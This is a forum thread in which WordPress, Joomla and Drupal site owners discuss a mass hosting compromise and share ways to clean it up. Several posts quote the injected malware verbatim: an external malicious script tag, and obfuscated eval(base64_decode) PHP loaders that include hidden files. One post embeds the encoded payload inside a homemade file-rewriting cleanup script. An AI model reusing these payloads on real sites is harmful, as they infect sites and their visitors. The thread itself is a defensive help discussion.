Site Hacked
-
First off sorry if this is the wrong section. My site is self hosted on WordPress 2.8.6 and has been hacked of as yesterday; a bit of code;
<script src=”https://kdjkfjskdfjlskdjf.com/kp.php”></script>
was put into the site and some other code, I am in the process of deleting everything right now, MySQL, and all my files. but the above code is still here. What should I do to get rid of it? And what could be the cause of this virus, and tips/suggestions would be awesome, thanks
site at the moment ( Safe) view-source:https://www.dailyotaku.com/
-
@redkathy – you can export your database. Make sure it’s a .sql file before viewing… if it’s a zip file, unzip it first.
Then use a program like WordPad to open the file so you can view it.
You can then do a Find search for whatever it is you’re looking for.
@wpbloghost -Thanks for the instruction. The first attack I was so very lost, it took forever to clean the sites. This time not so bad. I hope we don’t get used to doing this ??
@wpbloghost – export and back up file, the same thing?
Yes.
Worth the read . .
Anonymous said…
I was called in to look at some hosting servers at a small company that got hit with something similar to this earlier this year. Their hosted sites were php, asp and coldfusion sites (no wordpress, joomla or any sort of control panel). All index/home/main/default files – regardless of whether they were php, asp, cfm or even html had various javascripts included. It certainly looked like it was an FTP exploit with either privilege escalation so their bot could traverse user directories and write, or they somehow got the ftp user/pass db. Logs did not indicate brute force attacks. File changes came from multiple locations around the world.
All,
We’ve posted instructions for fixing the issue at https://fwd4.me/MFK. Please make sure that you follow all of the steps, including the ‘permanent fix’.
Salem
ok the solution go daddy is giving respectfully is useless,
my website has joomla installed and is hosted in a godaddy server, I’m proud to say I have completely removed the virus using my own scripting skills, all it took was 10 mins. the virus is hardly that, its just code that somehow bypassed godaddy’s security and was able to write itself to all php files.
this is the script I developed and used with success,
its kind of tricky, you need to do a couple of things before using the scriptrun this command in the SSH: find . -name “*.php” -type f -print?
that will display all PHP files in your directory including subdirectories
if you dont know how to execute it just use a cron job it should email it to you with no problem,
now you save it in a txt file named “php.txt”
upload php.txt with anything.php, anything.php contains the following:
(please change what i ask you to change)
the script isint perfect but should do the job ,only use this as a last resort, backup your website before use as well. just incase
<?php $files = file_get_contents('php.txt'); $afiles= explode("\n", $files); for($i=0;$i<count($afiles);$i++){ //you mite want to lessen the loops if your website is big qabandi($afiles[$i]); } function qabandi($file){ $sick = "{rest of location}".trim($file);//this is where you add the rest of location $content = file_get_contents($sick); $handle = fopen($sick, "w+"); $clean = str_replace(bad(), "", $content); fwrite($handle,$clean); fclose($handle); echo($sick."[cleaned]\n"); } function bad(){ return base64_decode("PD9waHAgLyoqLyBldmFsKGJhc2U2NF9kZWNvZGUoImFXWW9ablZ1WTNScGIyNWZaWGhwYzNSektD ZHZZbDl6ZEdGeWRDY3BKaVloYVhOelpYUW9KRWRNVDBKQlRGTmJKMjF5WDI1dkoxMHBLWHNnSUNB a1IweFBRa0ZNVTFzbmJYSmZibThuWFQweE95QWdJR2xtS0NGbWRXNWpkR2x2Ymw5bGVHbHpkSE1v SjIxeWIySm9KeWtwZXlBZ0lDQWdJR2xtS0NGbWRXNWpkR2x2Ymw5bGVHbHpkSE1vSjJkdGJDY3BL WHNnSUNBZ0lHWjFibU4wYVc5dUlHZHRiQ2dwZXlBZ0lDQWdJR2xtSUNnaGMzUnlhWE4wY2lna1gx TkZVbFpGVWxzaVNGUlVVRjlWVTBWU1gwRkhSVTVVSWwwc0ltZHZiMmRzWldKdmRDSXBKaVlnS0NG emRISnBjM1J5S0NSZlUwVlNWa1ZTV3lKSVZGUlFYMVZUUlZKZlFVZEZUbFFpWFN3aWVXRm9iMjhp S1NrcGV5QWdJQ0FnSUNCeVpYUjFjbTRnWW1GelpUWTBYMlJsWTI5a1pTZ2lVRWhPYW1OdGJIZGtR MEo2WTIxTk9VbHRhREJrU0VFMlRIazVjbHBIY0hKYWJYQjZZVEpTYldGdGVIcGhNbEp4V21rMWFt SXlNSFpoTTBGMVkwZG9kMGxxTkRoTU0wNXFZMjFzZDJSRU5EMGlLVHNnSUNBZ0lDQjlJQ0FnSUNB Z2NtVjBkWEp1SUNJaU95QWdJQ0FnZlNBZ0lDQjlJQ0FnSUNBZ0lDQnBaaWdoWm5WdVkzUnBiMjVm WlhocGMzUnpLQ2RuZW1SbFkyOWta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zZ0lD QWdJSDBnSUNBZ2ZTQWdJQ0J2WWw5emRHRnlkQ2duYlhKdlltZ25LVHNnSUNCOUlDQjkiKSk7Pz4=");}function good(){return base64_decode("PD9QSFAgLyphbC1xYWJhbmRpQGhvdG1haWwuY29tKi8gPz4=");} ?>
These criminals have discovered serious vulnerabilities in many popular hosting companies, and these companies must step up their effort to protect their customers.
That’s really the bottom line.
In the mean time, it is clear that not only WP sites were attacked on Godaddy (I run a Drupal site, and it was attacked too. The “base64_decode” line was injected into every single .PHP file.
While it is clear how to restore the site, what I have not seen so far is what Godaddy is doing to recognize the problem is not WP or any other CMS, but a vulnerability on their side.
can’t cure a sick person if the sick person does not recognize he is sick.
Peter
Yes I agree petercasier, It is not a vulnerability in wordpress,joomla or drupal, its a vulnerability in godaddy itself as a host, this is very disappointing I must say.
can anyone locate where these hackers are from!!????
this is not funny!!
I also got hacked. ALL the .php files on my site(s) are infected with the following:
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9rdW5kZW4vaG9tZXBhZ2VzLzEvZDE3MjUyNDQ1Mi9odGRvY3MvYmxvZy93cC1pbmNsdWRlcy9qcy90aW55bWNlL3BsdWdpbnMvaW5saW5lcG9wdXBzL3NraW5zL2NsZWFybG9va3MyL2ltZy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>
And there were some strange additions to the .htaccess file in the logs folder. I’m hosted by 1and1.com and have sent them a ticket on this but haven’t heard back yet. From what I’ve read here it’s not just WordPress and it’s also pretty widespread.
What ticks me off is the amount of work I had to do for just ONE of my blogs to clean up this crap (including replacing the MySQL database) and I can’t bear the thought of having to do that for EACH AND EVERY ONE of my other sites.
Is there some kind of script or some mojo thingee that can grind through all this and remove it? I’m not enough of a code monkey to figure it out myself – I only know enough to screw things up unless I have very clear instructions.
Anyone? Anyone? Bueller?
thanks
- The topic ‘Site Hacked’ is closed to new replies.